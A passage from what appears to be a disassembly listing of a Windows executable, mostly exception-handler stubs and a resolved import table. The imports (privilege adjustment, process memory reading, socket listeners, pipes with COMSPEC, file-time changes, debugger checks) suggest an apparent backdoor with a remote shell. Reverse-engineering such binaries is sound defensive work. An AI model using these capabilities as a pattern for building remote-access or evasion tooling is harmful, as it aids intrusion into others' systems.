		jmp	sub_40D58A
; ---------------------------------------------------------------------------


loc_42EC5C:				; DATA XREF: .text:0042FE10o
		lea	ecx, [ebp-3Ch]
		jmp	sub_40D58A
; ---------------------------------------------------------------------------


loc_42EC64:				; DATA XREF: .text:0042FE18o
		lea	ecx, [ebp-3Ch]
		jmp	sub_40D58A
; ---------------------------------------------------------------------------


loc_42EC6C:				; DATA XREF: .text:0042FE20o
		lea	ecx, [ebp-5Ch]
		jmp	sub_40D58A
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-4Ch]
		jmp	sub_40D58A
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_40D58A
; ---------------------------------------------------------------------------


loc_42EC84:				; DATA XREF: .text:0042FE38o
		lea	ecx, [ebp-3Ch]
		jmp	sub_40D58A
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-4Ch]
		jmp	sub_40D58A
; ---------------------------------------------------------------------------


loc_42EC94:				; DATA XREF: .text:0042FE48o
		lea	ecx, [ebp-3Ch]
		jmp	sub_40D58A
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-4Ch]
		jmp	sub_40D58A
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-5Ch]
		jmp	sub_40D58A
; ---------------------------------------------------------------------------


loc_42ECAC:				; DATA XREF: .text:0042FE60o
		lea	ecx, [ebp-3Ch]
		jmp	sub_40D58A
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-4Ch]
		jmp	sub_40D58A
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-5Ch]
		jmp	sub_40D58A
; ---------------------------------------------------------------------------


loc_42ECC4:				; DATA XREF: .text:0042FE78o
		lea	ecx, [ebp-4Ch]
		jmp	sub_40D58A
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-5Ch]
		jmp	sub_40D58A
; ---------------------------------------------------------------------------


loc_42ECD4:				; DATA XREF: .text:0042FE88o
		lea	ecx, [ebp-4Ch]
		jmp	sub_40D58A
; ---------------------------------------------------------------------------


loc_42ECDC:				; DATA XREF: .text:0042FE90o
		lea	ecx, [ebp-2Ch]
		jmp	sub_40D58A
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-5Ch]
		jmp	sub_40D58A
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-5Ch]
		jmp	sub_40D58A
; ---------------------------------------------------------------------------


loc_42ECF4:				; DATA XREF: sub_40DB4Bo
		mov	eax, offset dword_42FEA4
		jmp	loc_423721
; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-1F4h]
		jmp	sub_40F05F
; ---------------------------------------------------------------------------


loc_42ED0B:				; DATA XREF: .text:0042FECCo
		lea	ecx, [ebp-30h]
		jmp	sub_40D58A
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-20h]
		jmp	sub_40D58A
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-0CCh]
		jmp	sub_40D58A
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-0ACh]
		jmp	sub_40F05F
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-0F0h]
		jmp	sub_40D58A
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-44h]
		jmp	sub_40D58A
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-0BCh]
		jmp	sub_40D58A
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-58h]
		jmp	sub_40D58A
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-394h]
		jmp	sub_40D58A
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-374h]
		jmp	sub_40D58A
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-204h]
		jmp	sub_40D58A
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-384h]
		jmp	sub_40D58A
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-110h]
		jmp	sub_40D58A
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-304h]
		jmp	sub_40D58A
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-244h]
		jmp	sub_40D58A
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-264h]
		jmp	sub_40D58A
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-160h]
		jmp	sub_40D58A
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-170h]
		jmp	sub_40D58A
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3A4h]
		jmp	sub_40D58A
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-140h]
		jmp	sub_40D58A
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-344h]
		jmp	sub_40D58A
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-2C4h]
		jmp	sub_40D58A
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-2E4h]
		jmp	sub_40D58A
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-0E0h]
		jmp	sub_40D58A
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-1A0h]
		jmp	sub_40D58A
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-234h]
		jmp	sub_40D58A
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-130h]
		jmp	sub_40D58A
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-274h]
		jmp	sub_40D58A
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-254h]
		jmp	sub_40D58A
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-294h]
		jmp	sub_40D58A
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-150h]
		jmp	sub_40D58A
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-190h]
		jmp	sub_40D58A
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-2D4h]
		jmp	sub_40D58A
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-120h]
		jmp	sub_40D58A
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-314h]
		jmp	sub_40D58A
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-2F4h]
		jmp	sub_40D58A
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-334h]
		jmp	sub_40D58A
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-100h]
		jmp	sub_40D58A
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-180h]
		jmp	sub_40D58A
; ---------------------------------------------------------------------------


loc_42EEAC:				; DATA XREF: .text:loc_40DF88o
		mov	eax, offset dword_430040
		jmp	loc_423721
; ---------------------------------------------------------------------------
		align 4
		lea	ecx, [ebp-20h]
		jmp	loc_40F13B
; ---------------------------------------------------------------------------


loc_42EEC0:				; DATA XREF: sub_40F0E1o
		mov	eax, offset dword_4300D8
		jmp	loc_423721
; ---------------------------------------------------------------------------
		align 4
		mov	ecx, [ebp-14h]
		jmp	sub_423BAB
; ---------------------------------------------------------------------------


loc_42EED4:				; DATA XREF: sub_40F1B0o
		mov	eax, offset dword_4300FC
		jmp	loc_423721
; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		jmp	sub_423BAB
; ---------------------------------------------------------------------------


loc_42EEE8:				; DATA XREF: sub_40F389o
		mov	eax, offset dword_43013C
		jmp	loc_423721
; ---------------------------------------------------------------------------
		align 4


loc_42EEF4:				; DATA XREF: sub_40F66Bo
		mov	eax, offset dword_43018C
		jmp	loc_423721
; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-10h]
		jmp	loc_417816
; ---------------------------------------------------------------------------


loc_42EF08:				; DATA XREF: .text:004301B4o
		lea	ecx, [ebp-20h]
		jmp	loc_417816
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-2Ch]
		jmp	loc_417816
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-28h]
		jmp	loc_417816
; ---------------------------------------------------------------------------


loc_42EF20:				; DATA XREF: sub_416208o
		mov	eax, offset dword_4301C8
		jmp	loc_423721
; ---------------------------------------------------------------------------
		align 4
		lea	ecx, [ebp-1Ch]
		jmp	sub_419912
; ---------------------------------------------------------------------------


loc_42EF34:				; DATA XREF: sub_418010o
		mov	eax, offset dword_4301EC
		jmp	loc_423721
; ---------------------------------------------------------------------------
		align 10h
		push	dword ptr [ebp-10h]
		call	sub_421C78
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_42EF4A:				; DATA XREF: sub_41CE88o
		mov	eax, offset dword_430210
		jmp	loc_423721
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-20h]
		jmp	loc_40F13B
; ---------------------------------------------------------------------------


loc_42EF5C:				; DATA XREF: sub_421C83o
		mov	eax, offset dword_430270
		jmp	loc_423721
; ---------------------------------------------------------------------------
		align 4
		mov	ecx, [ebp-10h]
		jmp	sub_423BAB
; ---------------------------------------------------------------------------


loc_42EF70:				; DATA XREF: sub_421CDDo
		mov	eax, offset dword_430298
		jmp	loc_423721
; ---------------------------------------------------------------------------
		align 4
		lea	ecx, [ebp-20h]
		jmp	loc_40F13B
; ---------------------------------------------------------------------------


loc_42EF84:				; DATA XREF: sub_421D6Bo
		mov	eax, offset dword_4302C0
		jmp	loc_423721
; ---------------------------------------------------------------------------
		align 10h
		dd 1Ch dup(0)
dword_42F000	dd 77DD7883h	; resolved to->ADVAPI32.RegQueryValueExAdword_42F004	dd 77DD6BF0h	; resolved to->ADVAPI32.RegCloseKeydword_42F008	dd 77DD761Bh	; resolved to->ADVAPI32.RegOpenKeyExA					; sub_4177A2+25r
dword_42F00C	dd 77DDEBE7h	; resolved to->ADVAPI32.RegSetValueExAdword_42F010	dd 77DD7753h	; resolved to->ADVAPI32.OpenProcessTokendword_42F014	dd 77DFD11Bh	; resolved to->ADVAPI32.LookupPrivilegeValueAdword_42F018	dd 77DFC534h	; resolved to->ADVAPI32.AdjustTokenPrivilegesdword_42F01C	dd 77DF08D5h	; resolved to->ADVAPI32.GetSecurityInfodword_42F020	dd 77E215D9h	; resolved to->ADVAPI32.SetEntriesInAclAdword_42F024	dd 77DF087Fh	; resolved to->ADVAPI32.SetSecurityInfodword_42F028	dd 77DFD4C9h	; resolved to->ADVAPI32.GetUserNameA		align 10h
dword_42F030	dd 7C80992Fh	; resolved to->KERNEL32.LocalFree					; sub_41B575+95r ...
dword_42F034	dd 7C80B905h	; resolved to->KERNEL32.MapViewOfFile					; sub_401EA5+43r ...
dword_42F038	dd 7C809B47h	; resolved to->KERNEL32.CloseHandle					; sub_401E76+1Ar ...
dword_42F03C	dd 7C80B974h	; resolved to->KERNEL32.UnmapViewOfFile					; sub_401EA5+69r ...
dword_42F040	dd 7C80DDF5h	; resolved to->KERNEL32.GetCurrentProcess					; sub_414508+83r ...
dword_42F044	dd 7C812ADEh	; resolved to->KERNEL32.GetVersionExA					; sub_403B2C+8C5r ...
dword_42F048	dd 7C81CE03h	; resolved to->KERNEL32.TerminateThread					; sub_41BF58+27r
dword_42F04C	dd 7C80BE01h	; resolved to->KERNEL32.lstrcpyA					; sub_403625+74r ...
dword_42F050	dd 7C835DCAh	; resolved to->KERNEL32.GetTempPathA					; sub_41F331+17r
dword_42F054	dd 7C80180Eh	; resolved to->KERNEL32.ReadFile					; sub_4128D4+1A7r ...
dword_42F058	dd 7C810B8Eh	; resolved to->KERNEL32.SetFilePointer					; sub_426D61+2Ar
dword_42F05C	dd 7C810A77h	; resolved to->KERNEL32.GetFileSizedword_42F060	dd 7C801A24h	; resolved to->KERNEL32.CreateFileA					; sub_40CDE2+9Br ...
dword_42F064	dd 7C802520h	; resolved to->KERNEL32.WaitForSingleObject					; sub_403B2C+44ABr ...
dword_42F068	dd 7C910331h	; resolved to->NTDLL.RtlGetLastWin32Error					; sub_403B2C:loc_4046F6r ...
dword_42F06C	dd 7C81CDDAh	; resolved to->KERNEL32.ExitProcess					; sub_40CDE2+64Fr ...
dword_42F070	dd 7C80BAA1h	; resolved to->KERNEL32.lstrcmpiA					; sub_417A90+98r ...
dword_42F074	dd 7C80B6A1h	; resolved to->KERNEL32.GetModuleHandleA					; sub_4120E9+6Dr ...
dword_42F078	dd 7C802367h	; resolved to->KERNEL32.CreateProcessA					; sub_40CDE2+5ECr ...
dword_42F07C	dd 7C810D87h	; resolved to->KERNEL32.WriteFile					; sub_4127E6+94r ...
dword_42F080	dd 7C80D262h	; resolved to->KERNEL32.GetLocaleInfoA					; sub_410AB7+2Cr ...
dword_42F084	dd 7C8024A7h	; resolved to->KERNEL32.ReleaseMutex					; sub_41F455+C6r
dword_42F088	dd 7C831EABh	; resolved to->KERNEL32.DeleteFileA					; sub_4130E5+4E7r ...
dword_42F08C	dd 7C812782h	; resolved to->KERNEL32.SetFileAttributesA					; sub_4130E5+2CDr ...
dword_42F090	dd 7C80E93Fh	; resolved to->KERNEL32.CreateMutexAdword_42F094	dd 7C8308ADh	; resolved to->KERNEL32.CreateEventA					; sub_41391C+62Ar
dword_42F098	dd 7C809BF8h	; resolved to->KERNEL32.MultiByteToWideChar					; .text:00413685r ...
dword_42F09C	dd 7C8286EEh	; resolved to->KERNEL32.CopyFileA					; sub_4130E5+398r ...
dword_42F0A0	dd 7C81153Ch	; resolved to->KERNEL32.GetFileAttributesA					; sub_4130E5+4C3r ...
dword_42F0A4	dd 7C80A0D4h	; resolved to->KERNEL32.WideCharToMultiByte					; sub_429BA7+20Dr ...
dword_42F0A8	dd 7C830D74h	; resolved to->KERNEL32.lstrcmpA					; sub_416208+37Cr ...
dword_42F0AC	dd 7C81AE17h	; resolved to->KERNEL32.GetExitCodeProcess					; sub_42CACA+1B9r
dword_42F0B0	dd 7C85F90Fh	; resolved to->KERNEL32.PeekNamedPipedword_42F0B4	dd 7C80DDFEh	; resolved to->KERNEL32.DuplicateHandledword_42F0B8	dd 7C81E0C7h	; resolved to->KERNEL32.CreatePipedword_42F0BC	dd 7C80ABDEh	; resolved to->KERNEL32.FreeLibrary					; sub_41740C+1Ar
dword_42F0C0	dd 7C821363h	; resolved to->KERNEL32.GetWindowsDirectoryA					; sub_41EF5E+18r ...
dword_42F0C4	dd 7C8217ACh	; resolved to->KERNEL32.CreateDirectoryA					; sub_414CF1+188r
dword_42F0C8	dd 7C8214E3h	; resolved to->KERNEL32.GetDriveTypeAdword_42F0CC	dd 7C83039Bh	; resolved to->KERNEL32.GetDiskFreeSpaceExAdword_42F0D0	dd 7C82C2D3h	; resolved to->KERNEL32.GetLogicalDriveStringsA					; sub_4154DA+5Ar ...
dword_42F0D4	dd 7C834D41h	; resolved to->KERNEL32.lstrcatA					; sub_415EA7+BEr ...
dword_42F0D8	dd 7C810111h	; resolved to->KERNEL32.lstrcpynAdword_42F0DC	dd 7C80BDB6h	; resolved to->KERNEL32.lstrlenA					; sub_416208+6C9r ...
dword_42F0E0	dd 7C8021CCh	; resolved to->KERNEL32.ReadProcessMemorydword_42F0E4	dd 7C8309E1h	; resolved to->KERNEL32.OpenProcess					; sub_417989+83r ...
dword_42F0E8	dd 7C8643B5h	; resolved to->KERNEL32.Module32Nextdword_42F0EC	dd 7C801E16h	; resolved to->KERNEL32.TerminateProcess					; sub_418614+1A1r ...
dword_42F0F0	dd 7C864230h	; resolved to->KERNEL32.Module32Firstdword_42F0F4	dd 7C864B0Fh	; resolved to->KERNEL32.CreateToolhelp32Snapshotdword_42F0F8	dd 7C863F58h	; resolved to->KERNEL32.Process32Nextdword_42F0FC	dd 7C863DE5h	; resolved to->KERNEL32.Process32Firstdword_42F100	dd 7C8098EBh	; resolved to->KERNEL32.GetCurrentThread					; sub_418812+1Cr
dword_42F104	dd 7C8310F2h	; resolved to->KERNEL32.GlobalMemoryStatusdword_42F108	dd 7C83632Dh	; resolved to->KERNEL32.GetTimeFormatAdword_42F10C	dd 7C8361EEh	; resolved to->KERNEL32.GetDateFormatAdword_42F110	dd 7C814EEAh	; resolved to->KERNEL32.GetSystemDirectoryA					; sub_41FE93+4Br
dword_42F114	dd 7C80998Dh	; resolved to->KERNEL32.LocalAllocdword_42F118	dd 7C831CB8h	; resolved to->KERNEL32.SetFileTime					; sub_41FE93+531r
dword_42F11C	dd 7C831C45h	; resolved to->KERNEL32.GetFileTime					; sub_41FE93+1B4r
dword_42F120	dd 7C8216A4h	; resolved to->KERNEL32.GetComputerNameAdword_42F124	dd 7C813093h	; resolved to->KERNEL32.IsDebuggerPresentdword_42F128	dd 7C833478h	; resolved to->KERNEL32.SetEnvironmentVariableAdword_42F12C	dd 7C80A35Eh	; resolved to->KERNEL32.CompareStringW					; sub_42E2C0+261r
dword_42F130	dd 7C80D077h	; resolved to->KERNEL32.CompareStringA					; sub_42E2C0+B9r
dword_42F134	dd 7C832044h	; resolved to->KERNEL32.SetEndOfFiledword_42F138	dd 7C801D77h	; resolved to->KERNEL32.LoadLibraryA					; sub_40BB43+128r ...
dword_42F13C	dd 7C80ADA0h	; resolved to->KERNEL32.GetProcAddress					; sub_40BB43+Er ...
dword_42F140	dd 7C901005h	; resolved to->NTDLL.RtlEnterCriticalSection					; sub_42483C+28r ...
dword_42F144	dd 7C9010EDh	; resolved to->NTDLL.RtlLeaveCriticalSection					; sub_42488E+28r ...
dword_42F148	dd 7C91188Ah	; resolved to->NTDLL.RtlDeleteCriticalSection					; sub_40178D+162r ...
dword_42F14C	dd 7C80B829h	; resolved to->KERNEL32.InitializeCriticalSectionAndSpinCountdword_42F150	dd 7C80C058h	; resolved to->KERNEL32.ExitThread					; sub_401906+16Er ...
dword_42F154	dd 7C80B4CFh	; resolved to->KERNEL32.GetModuleFileNameA					; sub_40274D+1Fr ...
dword_42F158	dd 7C810637h	; resolved to->KERNEL32.CreateThread					; sub_40178D+EBr ...
dword_42F15C	dd 7C802442h	; resolved to->KERNEL32.Sleep					; sub_401477+12Cr ...
dword_42F160	dd 7C835D54h	; resolved to->KERNEL32.WritePrivateProfileStringA					; sub_41F455+94r
dword_42F164	dd 7C80929Ch	; resolved to->KERNEL32.GetTickCountdword_42F168	dd 7C80BCCFh	; resolved to->KERNEL32.IsBadCodePtrdword_42F16C	dd 7C809E01h	; resolved to->KERNEL32.IsBadReadPtrdword_42F170	dd 7C812641h	; resolved to->KERNEL32.FlushFileBuffersdword_42F174	dd 7C81DC03h	; resolved to->KERNEL32.SetStdHandle					; sub_42BDC5:loc_42BE1Br
dword_42F178	dd 7C80A490h	; resolved to->KERNEL32.GetStringTypeW					; sub_42BADD+12Dr
dword_42F17C	dd 7C838A0Ch	; resolved to->KERNEL32.GetStringTypeA					; sub_42BADD+8Dr
dword_42F180	dd 7C812F08h	; resolved to->KERNEL32.GetEnvironmentStringsWdword_42F184	dd 7C81CF5Bh	; resolved to->KERNEL32.GetEnvironmentStringsA					; sub_42B533+E1r
dword_42F188	dd 7C814AE7h	; resolved to->KERNEL32.FreeEnvironmentStringsWdword_42F18C	dd 7C81DF77h	; resolved to->KERNEL32.FreeEnvironmentStringsAdword_42F190	dd 7C862E2Ah	; resolved to->KERNEL32.UnhandledExceptionFilterdword_42F194	dd 7C8127A7h	; resolved to->KERNEL32.GetOEMCPdword_42F198	dd 7C809915h	; resolved to->KERNEL32.GetACPdword_42F19C	dd 7C812E76h	; resolved to->KERNEL32.GetCPInfo					; sub_42ABB1+14r ...
dword_42F1A0	dd 7C80CCA8h	; resolved to->KERNEL32.LCMapStringW					; sub_429BA7+14Dr ...
dword_42F1A4	dd 7C838DE8h	; resolved to->KERNEL32.LCMapStringA					; sub_429BA7+A7r
dword_42F1A8	dd 7C84467Dh	; resolved to->KERNEL32.SetUnhandledExceptionFilter					; sub_429B9A+6r
dword_42F1AC	dd 7C9109EDh	; resolved to->NTDLL.RtlSizeHeapdword_42F1B0	dd 7C809E79h	; resolved to->KERNEL32.IsBadWritePtrdword_42F1B4	dd 7C9179FDh	; resolved to->NTDLL.RtlReAllocateHeap					; sub_4285CC+14Fr ...
dword_42F1B8	dd 7C809A51h	; resolved to->KERNEL32.VirtualAlloc					; sub_42794F+51r ...
dword_42F1BC	dd 7C809AE4h	; resolved to->KERNEL32.VirtualFree					; sub_427D40+120r ...
dword_42F1C0	dd 7C812BB6h	; resolved to->KERNEL32.HeapCreatedword_42F1C4	dd 7C810EF8h	; resolved to->KERNEL32.HeapDestroydword_42F1C8	dd 7C814AF2h	; resolved to->KERNEL32.GetEnvironmentVariableAdword_42F1CC	dd 7C809EF1h	; resolved to->KERNEL32.InitializeCriticalSection					; sub_42840D+1r ...
dword_42F1D0	dd 7C810E51h	; resolved to->KERNEL32.GetFileType					; sub_426B40+17Ar ...
dword_42F1D4	dd 7C812F39h	; resolved to->KERNEL32.GetStdHandle					; sub_42B69E+143r
dword_42F1D8	dd 7C80CC97h	; resolved to->KERNEL32.SetHandleCountdword_42F1DC	dd 7C809740h	; resolved to->KERNEL32.TlsGetValuedword_42F1E0	dd 7C910340h	; resolved to->NTDLL.RtlSetLastWin32Errordword_42F1E4	dd 7C812D9Fh	; resolved to->KERNEL32.TlsAllocdword_42F1E8	dd 7C809BC5h	; resolved to->KERNEL32.TlsSetValue					; sub_42599D+34r
dword_42F1EC	dd 7C9105D4h	; resolved to->NTDLL.RtlAllocateHeap					; sub_423F63+F6r ...
dword_42F1F0	dd 7C91043Dh	; resolved to->NTDLL.RtlFreeHeap					; sub_42726C+2C5r ...
dword_42F1F4	dd 7C937A40h	; resolved to->NTDLL.RtlUnwinddword_42F1F8	dd 7C812A09h	; resolved to->KERNEL32.RaiseException					; sub_429F79+215r
dword_42F1FC	dd 7C80977Ah	; resolved to->KERNEL32.InterlockedDecrement					; sub_4240A0+86r ...
dword_42F200	dd 7C809766h	; resolved to->KERNEL32.InterlockedIncrement					; sub_4248E0+26r ...
dword_42F204	dd 7C8350BFh	; resolved to->KERNEL32.GetTimeZoneInformation					; sub_42D078+4Er
dword_42F208	dd 7C80176Bh	; resolved to->KERNEL32.GetSystemTimedword_42F20C	dd 7C80A7D4h	; resolved to->KERNEL32.GetLocalTimedword_42F210	dd 7C801EEEh	; resolved to->KERNEL32.GetStartupInfoA					; sub_426B40+5Er
dword_42F214	dd 7C812F1Dh	; resolved to->KERNEL32.GetCommandLineAdword_42F218	dd 7C8111DAh	; resolved to->KERNEL32.GetVersiondword_42F21C	dd 7C809728h	; resolved to->KERNEL32.GetCurrentThreadId					; sub_42599D+45r
		dd 0
dword_42F224	dd 71B2517Fh			dd 0
dword_42F22C	dd 7712A63Fh			dd 0
dword_42F234	dd 7CAB8CB2h						; sub_414983+131r ...
dword_42F238	dd 7CA23A4Bh						; sub_414CF1+151r
dword_42F23C	dd 7CA40EE0h						; sub_414810+24r ...
		dd 0
dword_42F244	dd 7E41AE3Fh	; resolved to->USER32.CharUpperBuffAdword_42F248	dd 7E44F209h	; resolved to->USER32.IsCharAlphaNumericA					; sub_415EA7+2CBr ...
dword_42F24C	dd 7E41A8ADh	; resolved to->USER32.wsprintfA					; sub_416208+2A9r ...
dword_42F250	dd 7E42E5C2h	; resolved to->USER32.CharLowerA		align 8
dword_42F258	dd 77C019FFh	dword_42F25C	dd 77C018BAh	dword_42F260	dd 77C01A50h			align 8
dword_42F268	dd 71AB3E00h	; resolved to->WS2_32.binddword_42F26C	dd 71AB951Eh	; resolved to->WS2_32.getsocknamedword_42F270	dd 71AB88D3h	; resolved to->WS2_32.listendword_42F274	dd 71AB4FD4h	; resolved to->WS2_32.gethostbyname					; sub_403B2C+6752r ...
dword_42F278	dd 71AB2B66h	; resolved to->WS2_32.ntohs					; sub_40F770+21Cr
dword_42F27C	dd 71AB2BC0h	; resolved to->WS2_32.ntohldword_42F280	dd 71AB2DC0h	; resolved to->WS2_32.selectdword_42F284	dd 71AC1028h	; resolved to->WS2_32.acceptdword_42F288	dd 71AB428Ah	; resolved to->WS2_32.send					; sub_403B2C+680Ar ...
dword_42F28C	dd 71AB615Ah	; resolved to->WS2_32.recv					; sub_403B2C+6825r ...
dword_42F290	dd 71AB664Dh	; resolved to->WS2_32.WSAStartup					; sub_40D98D+16r ...
dword_42F294	dd 71AB406Ah	; resolved to->WS2_32.connect					; .text:0040B844r ...
dword_42F298	dd 71AB9639h	; resolved to->WS2_32.closesocket					; sub_403B2C+228Dr ...
dword_42F29C	dd 71AB3B91h	; resolved to->WS2_32.socket					; sub_403B2C+677Dr ...
dword_42F2A0	dd 71AB8769h	; resolved to->WS2_32.WSASocketA					; sub_40F770+7Dr
dword_42F2A4	dd 71AB2C69h	; resolved to->WS2_32.sendto					; sub_41112E+112r ...
dword_42F2A8	dd 71AB50C8h	; resolved to->WS2_32.gethostname					; sub_41BB8F+FFr ...
dword_42F2AC	dd 71AB2BF4h	; resolved to->WS2_32.inet_addr					; sub_40F770+1B2r ...
dword_42F2B0	dd 71AB4519h	; resolved to->WS2_32.ioctlsocket					; sub_41130C+DBr
dword_42F2B4	dd 71AB3EA1h	; resolved to->WS2_32.setsockopt					; sub_41B8E7+F4r ...
dword_42F2B8	dd 71AB2B66h	; resolved to->WS2_32.ntohs					; sub_403B2C+67A6r ...
		align 10h
dbl_42F2C0	dq -1.52587890625e-4	; DATA XREF: sub_403625+3DFr
dbl_42F2C8	dq 3.0517578125e-4	; DATA XREF: sub_403625+3C0r
dbl_42F2D0	dq -3.0517578125e-4	; DATA XREF: sub_403625+33Er
					; sub_403625+3A2r
dbl_42F2D8	dq 1.52587890625e-4	; DATA XREF: sub_403625+279r
dbl_42F2E0	dq -1.739501953125e-3	; DATA XREF: sub_403625+254r
					; sub_403625+2DDr ...
dbl_42F2E8	dq 3.021240234375e-3	; DATA XREF: sub_403625+EDr
dbl_42F2F0	dq 3.0517578125e-5	; DATA XREF: sub_403625+BAr
					; sub_403625+143r ...
dbl_42F2F8	dq 6.103515625e-5	; DATA XREF: sub_403625+9Fr
					; sub_403625+309r
dbl_42F300	dq 2.288818359375e-3	; DATA XREF: sub_403625+2Er
dbl_42F308	dq 9.765625e-4		; DATA XREF: sub_40CDE2+23Er
					; sub_40CDE2+24Dr ...
off_42F310	dd offset sub_40D526	; DATA XREF: sub_40D512+4o
					; sub_40D542+Fo ...
dword_42F314	dd 0							; sub_40F210+72o ...
dword_42F318	dd 10h							; sub_403B2C+5A9r ...
flt_42F31C	dd 5.0e-1		; DATA XREF: sub_4128D4+3BDr
					; sub_41391C+582r
dbl_42F320	dq -3.0517578125e-5	; DATA XREF: sub_41409E+1Fr
dword_42F328	dd 0FFFFFFFFh, 41F96Ch,	41F99Dh, 0dword_42F338	dd 0FFFFFFFFh, 41FA0Ch,	41FA10h, 42FC28hoff_42F348	dd offset loc_421D37	; DATA XREF: sub_421C83+4Do
					; sub_421D53+Co
		dd offset sub_40F344
		dd offset sub_421D1A
aStringTooLong	db 'string too long',0  ; DATA XREF: sub_421C83+1Eo
		dd offset dword_42FC60
off_42F368	dd offset loc_40F64F	; DATA XREF: sub_40F1B0+4Ao
					; sub_40F36E+8o ...
		dd offset sub_40F344
		dd offset sub_40F351
		dd offset dword_42FCB0
off_42F378	dd offset loc_40F64F	; DATA XREF: sub_40F0E1+4Do
					; sub_40F728+Co ...
		dd offset sub_40F344
		dd offset sub_40F632
aInvalidStringP	db 'invalid string position',0 ; DATA XREF: sub_421D6B+1Eo
		dd offset dword_42FCF8
off_42F3A0	dd offset sub_421ECD	; DATA XREF: sub_421E9B+12o
					; .text:00421F02o ...
		align 8
dword_42F3A8	dd 0FFFFFFFFh, 0		dd offset sub_42301E
		dd 0FFFFFFFFh, 0
		dd offset sub_42307A
dword_42F3C0	dd 0FFFFFFFFh, 0		dd offset sub_42311D
		dd 0FFFFFFFFh, 0
		dd offset sub_423175
dword_42F3D8	dd 6D6D6F63h, 2E646E61h, 6D6F63hdword_42F3E4	dd 632Fh	aComspec	db 'COMSPEC',0          ; DATA XREF: sub_423517+8o
dword_42F3F0	dd 0E06D7363h, 1, 2 dup(0)		dd 3, 19930520h, 2 dup(0)
		dd offset dword_42FD28
off_42F414	dd offset sub_423B08	; DATA XREF: sub_423B24+8o
					; sub_423B61+8o ...
		dd offset sub_423BC1
aUnknownExcepti	db 'Unknown exception',0 ; DATA XREF: sub_423BC1+7o
		align 10h
		dd offset dword_42FD70
off_42F434	dd offset loc_423BF7	; DATA XREF: sub_423BCE+5o
					; .text:off_43873Co ...
dword_42F438	dd 0FFFFFFFFh, 0		dd offset sub_423FF7
byte_42F444	db 4 dup(0FFh),	4 dup(0), 80h, 40h, 42h, 0 ; DATA XREF:	sub_42512C+4Ar
dbl_42F450	dq 1.0			; DATA XREF: sub_4242B0+6Cr
					; sub_4289FB+2Ar
dword_42F458	dd 0FFFFFFFFh, 424FACh,	424FC0hbyte_42F464	db 6			; DATA XREF: sub_42512C:loc_425183r
		db 2 dup(0), 6
		dd 100h, 6030010h, 10020600h, 45454504h, 5050505h, 303505h
		dd 50h,	38282000h, 8075850h, 30303700h,	75057h,	8202000h
		dd 0
		dd 60686008h, 606060h, 78707000h, 8787878h, 807h, 8080007h
		dd 8000008h, 7000800h, 8
aNull:					; DATA XREF: .text:off_4496BCo
		unicode	0, <(null)>,0
		align 10h
aNull_0		db '(null)',0           ; DATA XREF: .text:off_4496B8o
		align 4
a__global_heap_	db '__GLOBAL_HEAP_SELECTED',0 ; DATA XREF: sub_427054+8Eo
		align 10h
a__msvcrt_heap_	db '__MSVCRT_HEAP_SELECT',0 ; DATA XREF: sub_427054+4Fo
		align 4
dword_42F508	dd 0FFFFFFFFh, 0		dd offset sub_42874F
		dd 0FFFFFFFFh, 0
		dd offset sub_42889F
dword_42F520	dd 0FFFFFFFFh, 0		dd offset sub_428962
		dd 0FFFFFFFFh, 0
		dd offset sub_4289DD
dbl_42F538	dq 4.195835e6		; DATA XREF: sub_4289FB+Fr
dbl_42F540	dq 3.145727e6		; DATA XREF: sub_4289FB+6r
aIsprocessorfea	db 'IsProcessorFeaturePresent',0 ; DATA XREF: sub_428A39+Fo
		align 4
aKernel32	db 'KERNEL32',0         ; DATA XREF: sub_428A39o
		align 10h
